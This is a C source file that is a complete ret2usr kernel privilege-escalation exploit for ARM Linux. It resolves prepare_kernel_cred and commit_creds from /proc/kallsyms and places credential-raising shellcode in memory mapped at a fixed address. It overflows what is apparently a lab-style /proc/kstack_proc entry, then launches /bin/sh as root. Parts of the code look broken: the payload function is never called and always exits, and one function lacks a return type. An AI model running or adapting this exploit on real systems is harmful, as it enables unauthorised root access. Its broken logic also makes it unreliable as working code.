#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#include "dbg.h"

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon);
typedef int (*commit_creds_t)(struct cred *new);

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

/* Find a kernel symbol in /proc/kallsyms */
void *get_ksym(char *name) {
    FILE *f = fopen("/proc/kallsyms", "rb");
    char c, sym[512];
    void *addr;
    int ret;

    while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0)
        if (!strcmp(sym, name))
            return addr;
    return NULL;
}

/* This function will be executed in kernel mode. It has the effect of granting
 * this process root. */
void get_root(void) {
        commit_creds(prepare_kernel_cred(0));
}

void
pop_shell(void)
{
        if (getuid() == 0) {
                char *args[] = {"/bin/sh", "-i", NULL};
                execve("/bin/sh", args, NULL);
        }
        errx(1, "failed to get root");
}
void
trigger_vuln(void)
{
        int kstack = open("/proc/kstack_proc", O_RDWR);

        printf("kstack %d\n", kstack);
        char buf[0x1760];

        bzero(&buf, sizeof(buf));
        buf[0] = 0x333333;
        buf[1] = 0x333333;
        write(kstack, &buf, sizeof(buf));
        close(kstack);
      syscall(__NR_restart_syscall);
}

hide_and_seek(void)
{
        prepare_kernel_cred     = get_ksym("prepare_kernel_cred");
        commit_creds            = get_ksym("commit_creds");

        if (!(prepare_kernel_cred && commit_creds))
                errx(1, "couldn't map kernel symbols");

        printf("[+] prepare_kernel_cred: %p\n[+] commit_creds: %p\n", prepare_kernel_cred,
                commit_creds);
}


void create_payload(){
   __u32 mmap_start = 0xea000000, mmap_size = 0x100;

   printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);

   void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
       MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);

       printf("mapped %p %p\n", mapped, MAP_FAILED);
check(mapped != MAP_FAILED, "Failed mapping");

   //0x00000000 is nop for ARM
   bzero( (void*)mmap_start, mmap_size );

   __u32 jump[] = {
       //00000000 <_start>:
       /*   0:*/   0xe92d4010,           //  push    {r4, lr}
       /*   4:*/   0xe59f3010,           //  ldr r3, [pc, #16]   ; 1c <_start+0x1c> (prepare_kernel_creds)
       /*   8:*/   0xe3a00000,           //  mov r0, #0
       /*   c:*/   0xe12fff33,           //  blx r3
       /*  10:*/   0xe59f3008,           //  ldr r3, [pc, #8]    ; 20 <_start+0x20>  (commit_creds)
       /*  14:*/   0xe12fff33,           //  blx r3
       /*  18:*/   0xe8bd8010,           //  pop {r4, pc}
       /*  1c:*/   prepare_kernel_cred,  //  .word   prepare_kernel_cred
       /*  20:*/   commit_creds          //  .word   commit_creds
   };

   memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));

error:
  exit(-1);
}

int
main(void)
{
        /* Map out kernel structures. */
        hide_and_seek();



        /* Make the kernel dereference our memeory. */
        trigger_vuln();

        /* Give ourselves a root shell. */
        pop_shell();

        return 0;
}
